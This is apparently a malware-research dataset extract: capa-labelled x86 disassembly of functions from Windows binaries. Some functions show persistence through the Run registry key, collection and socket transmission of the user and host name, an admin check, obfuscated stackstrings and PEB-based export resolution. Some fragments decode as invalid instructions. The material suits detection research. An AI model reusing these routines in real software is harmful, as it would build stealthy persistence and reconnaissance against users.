joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100843b0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
test ebx, ebx
je 0x10084541
mov eax, dword [ebx]
mov ecx, ebx
mov eax, dword [eax + 0x280]
call eax
test al, al
je 0x10084541
mov eax, dword [0x101316d4]
cmp dword [eax + 0x174], 0xffffffff
je 0x10084541
mov eax, dword [0x10131a00]
add eax, 0xffffff85
xor eax, 0xe9f5e062
cmp dword [eax + ebx], 0
mov eax, dword [0x101319c4]
setle cl
add eax, 0xffffff94
xor eax, 0xe9f5e053
xor edi, edi
mov byte [eax + ebx], cl
mov eax, dword [0x101319b8]
add eax, 0xffffff97
xor eax, 0xe9f5e050
mov dword [eax + ebx + 0xc], 0
mov eax, dword [0x101319bc]
add eax, 0xffffff96
xor eax, 0xe9f5e051
mov dword [eax + ebx + 0xc], 0
mov ecx, dword [0x101319c0]
lea eax, [ecx - 0x6b]
xor eax, 0xe9f5e052
mov edx, dword [eax + ebx + 0xc]
mov dword [ebp - 4], edx
test edx, edx
je 0x1008449e
lea eax, [ecx - 0x6b]
xor eax, 0xe9f5e052
mov eax, dword [eax + ebx]
mov esi, dword [eax + edi*4]
lea ebx, [eax + edi*4]
test esi, esi
je 0x10084496
or eax, 0xffffffff
lock xadd dword [esi + 4], eax
jne 0x1008448a
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 4]
call eax
test al, al
je 0x10084487
mov eax, dword [esi]
mov ecx, esi
push 1
call dword [eax]
mov edx, dword [ebp - 4]
mov dword [ebx], 0
mov ecx, dword [0x101319c0]
mov ebx, dword [ebp + 8]
inc edi
cmp edi, edx
jb 0x10084453
lea eax, [ecx - 0x6b]
xor eax, 0xe9f5e052
lea ecx, [ebx + 8]
push 0
mov dword [eax + ebx + 0xc], 0
mov eax, dword [ebx + 8]
mov eax, dword [eax + 0x1c]
call eax
mov eax, dword [ebx + 8]
lea ecx, [ebx + 8]
push 0
mov eax, dword [eax + 0x14]
call eax
mov ecx, dword [0x101316e8]
xor ebx, ebx
mov dword [ebp - 4], ecx
mov eax, dword [ecx + 0x28]
mov dword [ebp - 8], eax
test eax, eax
je 0x10084532
nop dword [eax]
mov eax, dword [ecx + 0x1c]
mov ecx, dword [eax + ebx*4]
mov eax, dword [ecx]
mov eax, dword [eax + 0x30]
call eax
mov esi, eax
mov edi, 0x811c9dc5
xor ecx, ecx
inc ecx
cmp byte [esi + ecx], 0
jne 0x100844f6
xor edx, edx
test ecx, ecx
je 0x1008451c
movsx eax, byte [esi + edx]
inc edx
xor eax, edi
imul edi, eax, 0x1000193
cmp edx, ecx
jb 0x10084503
cmp edi, 0x79705c5e
je 0x10084527
inc ebx
cmp ebx, dword [ebp - 8]
jae 0x10084532
mov ecx, dword [ebp - 4]
jmp 0x100844e0
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1c]
mov ecx, dword [eax + ebx*4]
jmp 0x10084534
xor ecx, ecx
push 0
push dword [ebp + 8]
push 0
call dword [0x10131800]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1008a640
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
mov dl, byte [esi]
xor dl, byte [edi]
and dl, 1
xor dl, byte [edi]
mov byte [edi], dl
mov cl, byte [esi]
xor cl, dl
and cl, 2
xor cl, dl
mov byte [edi], cl
movzx eax, byte [esi]
xor al, cl
and al, 4
xor al, cl
mov byte [edi], al
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 8]
mov dword [edi + 8], eax
movq xmm0, qword [esi + 0xc]
movq qword [edi + 0xc], xmm0
mov eax, dword [esi + 0x14]
mov dword [edi + 0x14], eax
movq xmm0, qword [esi + 0x18]
movq qword [edi + 0x18], xmm0
mov eax, dword [esi + 0x20]
mov dword [edi + 0x20], eax
mov eax, dword [esi + 0x24]
mov dword [edi + 0x24], eax
mov eax, dword [esi + 0x28]
mov dword [edi + 0x28], eax
mov eax, dword [esi + 0x2c]
mov dword [edi + 0x2c], eax
mov eax, dword [esi + 0x30]
mov dword [edi + 0x30], eax
mov eax, dword [esi + 0x34]
mov dword [edi + 0x34], eax
mov eax, dword [esi + 0x38]
mov dword [edi + 0x38], eax
mov eax, dword [esi + 0x3c]
mov dword [edi + 0x3c], eax
movq xmm0, qword [esi + 0x40]
movq qword [edi + 0x40], xmm0
mov eax, dword [esi + 0x48]
mov dword [edi + 0x48], eax
movq xmm0, qword [esi + 0x4c]
movq qword [edi + 0x4c], xmm0
mov eax, dword [esi + 0x54]
mov dword [edi + 0x54], eax
mov eax, dword [esi + 0x58]
mov dword [edi + 0x58], eax
movq xmm0, qword [esi + 0x5c]
movq qword [edi + 0x5c], xmm0
mov eax, dword [esi + 0x64]
mov dword [edi + 0x64], eax
movq xmm0, qword [esi + 0x68]
movq qword [edi + 0x68], xmm0
mov eax, dword [esi + 0x70]
mov dword [edi + 0x70], eax
mov eax, dword [esi + 0x74]
mov dword [edi + 0x74], eax
movq xmm0, qword [esi + 0x78]
movq qword [edi + 0x78], xmm0
mov eax, dword [esi + 0x80]
mov dword [edi + 0x80], eax
movq xmm0, qword [esi + 0x84]
movq qword [edi + 0x84], xmm0
mov eax, dword [esi + 0x8c]
mov dword [edi + 0x8c], eax
movq xmm0, qword [esi + 0x90]
movq qword [edi + 0x90], xmm0
mov eax, dword [esi + 0x98]
mov dword [edi + 0x98], eax
mov eax, dword [esi + 0x9c]
mov dword [edi + 0x9c], eax
mov eax, dword [esi + 0xa0]
mov dword [edi + 0xa0], eax
mov eax, dword [esi + 0xa4]
mov dword [edi + 0xa4], eax
movzx eax, byte [esi + 0xa8]
mov byte [edi + 0xa8], al
movq xmm0, qword [esi + 0xac]
movq qword [edi + 0xac], xmm0
mov eax, dword [esi + 0xb4]
mov dword [edi + 0xb4], eax
mov eax, edi
pop edi
pop esi
pop ebp
ret 4
Function at 0x1000760f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
les eax, [ebx + ebp*8]
push es
dec ebx
dec esp
inc ecx
xor esi, dword [0x3ee98150]
mov bl, 0
add byte [ecx + 0x50], bl
push esi
add esp, 4
add eax, 0x631d
or eax, 0xa699
pop eax
mov ecx, dword [ebp - 0x380]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x3d4], edx
push esi
add esi, 0x2f09
and esi, 0x18401
call 0x1000760f
add byte [ebx], dh
cmp byte [ebx + 0x4d], al
dec eax
inc ecx
inc edi
dec eax
xor eax, dword [edi - 0x7d]

Function at 0x10007610
Capabilities:
Resolve function by parsing pe exports

Disassembly:
les eax, [esi + ebx*2]
push edx
or edx, 0x14a3b
jmp 0x10007623
pop edx
mov dword [ebp - 0x8a8], 0
mov eax, dword [ebp - 0x3d4]
mov dword [ebp - 0x1934], eax
cmp dword [ebp - 0x1934], 0
jne 0x10007654
mov ecx, dword [ebp - 0x8a8]
mov dword [ebp - 0x5dc], ecx
jmp 0x10007945
mov edx, dword [ebp - 0x1934]
mov eax, dword [ebp - 0x3d4]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1938], eax
jne 0x1000767c
invalid
lea ebx, [eax - 9]
invalid

Function at 0x100079ef
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add esp, 4
pop esi
cmp dword [ebp - 0x490], 0
je 0x100079d6
cmp dword [ebp - 0xc1c], 0
jne 0x10007a1c
push ebx
add ebx, 0xd302
pop ebx
push edi
call 0x100079ef
add byte [edi], dh
dec esp
inc edx
inc ebx
dec esi
aas
dec ebx
push eax
dec ebp
add esp, 4
jmp 0x100079f9
pop edi
push ecx
invalid
loope 0x10007988
jne 0x10007a01

Function at 0x10007f67
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
jmp 0x10007f6f
pop edx
push edi
push edx
add esp, 4
or edi, 0x92c0
xor edi, 0x6bbb
add edi, 0x9c6f
pop edi
mov byte [ebp - 0xb14], 0x4c
mov byte [ebp - 0xb13], 0x6f
mov byte [ebp - 0xb12], 0x61
mov byte [ebp - 0xb11], 0x64
mov byte [ebp - 0xb10], 0x4c
mov byte [ebp - 0xb0f], 0x69
mov byte [ebp - 0xb0e], 0x62
mov byte [ebp - 0xb0d], 0x72
mov byte [ebp - 0xb0c], 0x61
mov byte [ebp - 0xb0b], 0x72
mov byte [ebp - 0xb0a], 0x79
mov byte [ebp - 0xb09], 0x57
mov byte [ebp - 0xb08], 0
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1fac], edx
mov eax, dword [ebp - 0x1fac]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x23bc], ecx
mov edx, dword [ebp - 0x23bc]
xchg ebp, eax
inc esp
fdiv st(7), st(0)
dec dword [ecx - 0x194b6b]
call dword [ecx - 0x7f]
leave
mov edx, dword [edx - 0x167f0000]
aaa
or dword [ecx], eax
add byte [ecx + 0xd4c1f1], al
add byte [ecx + 0x17e3c9], al
add byte [ecx + 0x51], bl
push esi
add esp, 4
add ecx, 0x8b59
or ecx, 0x69f2
xor ecx, 0x12efb
pop ecx
cmp dword [ebp - 0x194c], 0
jne 0x10008055
mov dword [ebp - 0x8ac], 0
jmp 0x10008311
mov eax, dword [ebp - 0x194c]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xee8], edx
push ecx
push edx
add esp, 4
add ecx, 0x1822
pop ecx
push edx
push esi
add esp, 4
add edx, 0x3b70
and edx, 0x17e7e
add edx, 0x15243
pop edx
push eax
jmp 0x10008092
xor eax, 0x8987
pop eax
cmp dword [ebp - 0xee8], 0
jne 0x100080b1
mov dword [ebp - 0x8ac], 0
jmp 0x10008311
mov eax, dword [ebp - 0xee8]
mov dword [ebp - 0x5e4], eax
Function at 0x10034600
Capabilities:
Generate random numbers via winapi

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
mov ecx, 0x2b
test edi, edi
je 0x100346ab
mov ebp, dword [esp + 0x14]
mov esi, dword [esp + 0x18]
nop dword [eax]
mov ebx, 4
lea eax, [esp + 0x1c]
push 4
push eax
cmp edi, ebx
push ebp
cmovb ebx, edi
call fcn.1005ae50
add esp, 0xc
cmp eax, 4
jne 0x10034666
cmp byte [0x10076854], 0
jne 0x10034672
push 2
push eax
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0
push eax
push 0
call sub.bcrypt.dll_BCryptGenRandom
neg eax
sbb eax, eax
and eax, 2
mov ecx, eax
test eax, eax
jne 0x100346ad
mov eax, dword [esp + 0x1c]
jmp 0x1003468f
imul eax, dword [0x10076850], 0x41c64e6d
add eax, 0x3039
mov dword [0x10076850], eax
rol eax, 0x10
xor ecx, ecx
mov dword [esp + 0x1c], eax
test ebx, ebx
je 0x100346a3
mov byte [esi], al
dec edi
inc esi
shr eax, 8
sub ebx, 1
jne 0x10034693
mov dword [esp + 0x1c], eax
test edi, edi
jne 0x10034620
mov eax, ecx
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x100346c0
Capabilities:
Generate random numbers via winapi

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
push ebp
push esi
push edi
mov edi, dword [esp + 0x18]
sub ebx, 1
je 0x10034760
mov esi, dword [esp + 0x14]
mov ebp, 0x3e
nop
push 4
lea eax, [esp + 0x20]
push eax
push esi
call fcn.1005ae50
add esp, 0xc
cmp eax, 4
je 0x100346fb
test eax, eax
jne 0x10034765
jmp 0x10034745
cmp byte [0x10076854], 0
jne 0x1003472a
push 2
push 4
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0
push eax
push 0
call sub.bcrypt.dll_BCryptGenRandom
test eax, eax
je 0x10034745
pop edi
pop esi
pop ebp
mov eax, 2
pop ebx
ret
imul eax, dword [0x10076850], 0x41c64e6d
add eax, 0x3039
mov dword [0x10076850], eax
rol eax, 0x10
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
cmp eax, 0xfffffffc
jae 0x100346e0
xor edx, edx
div ebp
mov al, byte [edx + 0x100676f0]
mov byte [edi], al
inc edi
sub ebx, 1
jne 0x100346e0
mov byte [edi], 0
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x100421c0
Capabilities:
Send data
Send data on socket

Disassembly:
mov ecx, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0xc]
push esi
mov esi, dword [esp + 0xc]
push 0
mov byte [esp + 0x12], cl
lea ecx, [esp + 0x10]
push 3
mov eax, dword [esi + 0x18]
push ecx
mov byte [esp + 0x18], 0xff
mov byte [esp + 0x19], bl
push dword [eax + 0x128]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1004220c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Sending_data_failed___d_
push esi
call fcn.1000e940
add esp, 0xc
push dword [esp + 0x14]
push ebx
push str.SENT
push esi
call fcn.10041de0
add esp, 0x10
pop esi
pop ebx
ret

Function at 0x10042350
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
cmp dword [esp + 0xc], 0x1f
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov eax, dword [ebx + 0x18]
mov ebp, dword [ebx + 0x124]
mov dword [esp + 8], eax
jne 0x1004249f
push esi
push edi
lea eax, [ebp + 0x1cb4]
lea edi, [ebp + 0x1eb4]
mov dword [edi], eax
cmp eax, edi
jae 0x1004239d
mov byte [eax], 0xff
inc eax
mov dword [edi], eax
cmp eax, edi
jae 0x1004239d
mov byte [eax], 0xfa
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x1004239d
mov byte [eax], 0x1f
inc dword [edi]
movzx eax, word [ebp + 0x1ca8]
mov esi, dword [sym.imp.WS2_32.dll_htons]
push eax
call esi
movzx eax, ax
mov dword [esp + 0x18], eax
movzx eax, word [ebp + 0x1caa]
push eax
call esi
mov edx, dword [esp + 0x18]
movzx ecx, ax
mov eax, dword [edi]
cmp eax, edi
jae 0x10042407
mov byte [eax], dl
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x10042407
mov byte [eax], dh
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x10042407
mov byte [eax], cl
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x10042407
shr ecx, 8
mov byte [eax], cl
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x10042407
mov byte [eax], 0xff
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x10042407
mov byte [eax], 0xf0
mov eax, dword [edi]
inc eax
mov dword [ebp + 0x1eb8], eax
lea esi, [ebp + 0x1cb4]
sub eax, esi
mov dword [edi], esi
sub eax, 2
push eax
lea eax, [ebp + 0x1cb6]
push eax
push 0x3e
push ebx
call fcn.10041ee0
mov eax, dword [esp + 0x20]
add esp, 0x10
mov edi, dword [sym.imp.WS2_32.dll_send]
push 0
push 3
push esi
push dword [eax + 0x128]
call edi
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
test eax, eax
jns 0x1004245f
call esi
push eax
push str.Sending_data_failed___d_
push ebx
call fcn.1000e940
add esp, 0xc
push 4
lea eax, [ebp + 0x1cb7]
push eax
push ebx
call fcn.10042230
add esp, 0xc
lea eax, [ebp + 0x1cbb]
push 0
push 2
push eax
mov eax, dword [esp + 0x1c]
push dword [eax + 0x128]
call edi
test eax, eax
jns 0x1004249d
call esi
push eax
push str.Sending_data_failed___d_
push ebx
call fcn.1000e940
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x100587e0
Capabilities:
Get file size
Read file on windows

Disassembly:
sub esp, 0x120
mov eax, dword [0x10076800]
xor eax, esp
mov dword [esp + 0x11c], eax
mov eax, dword [esp + 0x124]
push ebx
push ebp
mov ebp, dword [esp + 0x134]
xor ebx, ebx
push esi
push edi
mov edi, dword [esp + 0x138]
xor esi, esi
push edi
mov dword [esp + 0x20], eax
mov dword [esp + 0x18], edi
call dword [0x10060320]
add esp, 4
mov dword [esp + 0x20], eax
test eax, eax
jne 0x10058860
push 0x100
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.10040540
push eax
push edi
push str.schannel:_invalid_path_name_for_CA_file__s:__s
push ebp
call fcn.1000e940
push esi
call dword [0x10075260]
add esp, 0x20
lea eax, [ebx + 0x4d]
jmp 0x100589c0
push 0
push 0x80
push 3
push 0
push 1
push accept
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x18], eax
cmp eax, 0xffffffff
jne 0x100588ba
push 0x100
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.10040540
push eax
push edi
push str.schannel:_failed_to_open_CA_file__s:__s
push ebp
call fcn.1000e940
push 0
mov esi, 0x4d
call dword [0x10075260]
add esp, 0x20
jmp 0x100589b1
lea ecx, [esp + 0x24]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x100588fa
push 0x100
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.10040540
push eax
push edi
push str.schannel:_failed_to_determine_size_of_CA_file__s:__s
push ebp
call fcn.1000e940
add esp, 0x1c
mov esi, 0x4d
jmp 0x1005899d
mov edi, dword [esp + 0x24]
cmp dword [esp + 0x28], ebx
jl 0x10058928
jg 0x1005890e
cmp edi, 0x100000
jbe 0x10058928
push 0x100000
push str.schannel:_CA_file_exceeds_max_size_of__u_bytes
push ebp
call fcn.1000e940
add esp, 0xc
mov esi, 0x4d
jmp 0x1005899d
lea eax, [edi + 1]
push eax
call dword [0x1007525c]
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x10058940
lea esi, [eax + 0x1b]
jmp 0x1005899d
test edi, edi
je 0x10058984
nop dword [eax]
nop dword [eax + eax]
push 0
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0
push eax
mov eax, edi
sub eax, esi
push eax
lea eax, [esi + ebx]
push eax
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100589dd
mov eax, dword [esp + 0x10]
test eax, eax
je 0x100589d9
add esi, eax
cmp esi, edi
jb 0x10058950
push ebp
push dword [esp + 0x18]
mov byte [edi + ebx], 0
push edi
push ebx
push dword [esp + 0x2c]
call fcn.100585e0
add esp, 0x14
mov esi, eax
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [0x10075260]
add esp, 4
push dword [esp + 0x20]
call dword [0x10060264]
add esp, 4
mov eax, esi
mov ecx, dword [esp + 0x12c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1005ed3b
add esp, 0x120
ret
mov edi, esi
jmp 0x10058984
push 0x100
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.10040540
push eax
push dword [esp + 0x24]
push str.schannel:_failed_to_read_from_CA_file__s:__s
push ebp
call fcn.1000e940
add esp, 0x1c
mov esi, 0x4d
jmp 0x1005899d
Function at 0x401000
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x403004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push edi
mov edi, dword [ebp + 8]
push 0x64
push 0x403450
push 0x67
push edi
call esi
push 0x64
push 0x403388
push 0x6d
push edi
call esi
mov esi, dword [sym.imp.USER32.dll_LoadIconW]
push 0x6b
push edi
mov dword [ebp - 0x34], 0x30
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x2c], 0x401180
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], edi
call esi
push 0x7f00
push 0
mov dword [ebp - 0x1c], eax
call dword [sym.imp.USER32.dll_LoadCursorW]
push 0x6c
push dword [ebp - 0x20]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 6
mov dword [ebp - 0x10], 0x6d
mov dword [ebp - 0xc], 0x403388
call esi
mov dword [ebp - 8], eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExW]
push 0
push edi
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push 0x403450
push 0x403388
push 0
mov dword [0x403380], edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov esi, eax
test esi, esi
jne 0x4010ea
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004012d9
mov esp, ebp
pop ebp
ret 0x10
push dword [ebp + 0x14]
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0x6d
push edi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
push 0
push 0
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x50]
push 0
push eax
call esi
test eax, eax
je 0x401161
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
push ebx
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageW]
nop word [eax + eax]
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 0x54]
push dword [ebp - 0x50]
call dword [sym.imp.USER32.dll_TranslateAcceleratorW]
test eax, eax
jne 0x401150
lea eax, [ebp - 0x50]
push eax
call edi
lea eax, [ebp - 0x50]
push eax
call ebx
push 0
push 0
push 0
lea eax, [ebp - 0x50]
push eax
call esi
test eax, eax
jne 0x401130
pop ebx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x48]
xor ecx, ebp
pop edi
pop esi
call fcn.004012d9
mov esp, ebp
pop ebp
ret 0x10
Function at 0x401d10
Capabilities:
Get common file path

Disassembly:
sub esp, 0x2c
mov dword [esp + 0x10], 0x411040
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x801a
mov dword [esp], 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov edx, 0x411040
sub esp, 0x14
test eax, eax
mov eax, str.C:UsersPublic
cmovns eax, edx
add esp, 0x2c
ret

Function at 0x401d60
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
sub esp, 0x3c
lea eax, [esp + 0x2c]
mov dword [esp + 0xc], 0x20006
mov dword [esp + 0x10], eax
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
sub esp, 0x14
test eax, eax
je 0x401db0
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
sub esp, 4
add esp, 0x3c
ret
mov eax, dword [esp + 0x40]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], 1
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x40]
mov dword [esp + 8], 0
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 4], str.Testing
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
sub esp, 0x18
jmp 0x401d97

Function at 0x401e60
Capabilities:
Send data
Send data on socket

Disassembly:
push edi
mov edx, 0x4119c0
xor eax, eax
mov ecx, 0x100
push esi
mov edi, edx
push ebx
sub esp, 0x10
rep stosd dword es:[edi], eax
lea eax, [esp + 0x24]
mov dword [esp], edx
mov dword [esp + 8], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 4], eax
call fcn.004050f0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [esp], 0x4119c0
mov esi, eax
call sub.msvcrt.dll_strlen
test eax, eax
je 0x401ef1
xor edi, edi
cmp esi, 0x2746
mov ebx, eax
mov esi, dword [sym.imp.WS2_32.dll_send]
jne 0x401ec6
jmp 0x401f06
add edi, eax
cmp ebx, edi
jle 0x401ef1
mov eax, ebx
mov dword [esp + 0xc], 0
sub eax, edi
mov dword [esp + 8], eax
lea eax, [edi + 0x4119c0]
mov dword [esp + 4], eax
mov eax, dword [0x41117c]
mov dword [esp], eax
call esi
sub esp, 0x10
test eax, eax
jns 0x401ec0
add esp, 0x10
pop ebx
pop esi
pop edi
ret
add edi, eax
cmp ebx, edi
jle 0x401ef1
mov eax, ebx
mov dword [esp + 0xc], 0
sub eax, edi
mov dword [esp + 8], eax
lea eax, [edi + 0x4119c0]
mov dword [esp + 4], eax
mov eax, dword [0x41117c]
mov dword [esp], eax
call esi
mov dword [0x411dc0], 0
sub esp, 0x10
test eax, eax
jns 0x401f00
add esp, 0x10
pop ebx
pop esi
pop edi
ret

Function at 0x402000
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x1ac
lea eax, [esp + 0x10]
mov dword [esp], 0x202
mov dword [esp + 4], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
sub esp, 8
test eax, eax
jne 0x402030
add esp, 0x1ac
ret
mov dword [esp], str._Error__Error_Starting_Winsock.
call fcn.00401e00
call fcn.004015e0
add esp, 0x1ac
ret
Function at 0x403540
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor edx, edx
sub esp, 4
cmp eax, 0xffffffff
je 0x403565
shr eax, 4
xor eax, 1
and eax, 1
mov edx, eax
mov eax, edx
add esp, 0x1c
ret

Function at 0x403570
Capabilities:
Get hostname
Get session user name

Disassembly:
push esi
push ebx
sub esp, 0x134
lea ebx, [esp + 0x2f]
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x101
mov dword [esp], ebx
mov dword [esp + 0x18], 0x10
mov dword [esp + 4], eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
sub esp, 8
lea esi, [esp + 0x1f]
lea eax, [esp + 0x18]
mov dword [esp], esi
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
sub esp, 8
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], str._s____s
call fcn.00401e60
add esp, 0x134
pop ebx
pop esi
ret

Function at 0x4035e0
Capabilities:
Get common file path

Disassembly:
push edi
mov edx, 0x411f00
xor eax, eax
mov ecx, 0x41
mov edi, edx
sub esp, 0x18
rep stosd dword es:[edi], eax
mov dword [esp + 4], edx
mov dword [esp], 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov eax, 0x411f00
sub esp, 8
add esp, 0x18
pop edi
ret

Function at 0x403620
Capabilities:
Get token membership

Disassembly:
sub esp, 0x4c
mov eax, 0x500
mov word [esp + 0x3e], ax
lea eax, [esp + 0x34]
mov dword [esp + 0x28], eax
lea eax, [esp + 0x3a]
mov dword [esp + 0x30], 0
mov dword [esp + 0x34], 0
mov dword [esp + 0x3a], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x220
mov dword [esp + 8], 0x20
mov dword [esp + 4], 2
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
sub esp, 0x2c
test eax, eax
je 0x4036f0
lea eax, [esp + 0x30]
mov dword [esp], 0
mov dword [esp + 8], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 4], eax
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
sub esp, 0xc
test eax, eax
je 0x4036f0
mov eax, dword [esp + 0x34]
test eax, eax
je 0x4036e1
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
sub esp, 4
mov eax, dword [esp + 0x30]
add esp, 0x4c
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x4036cd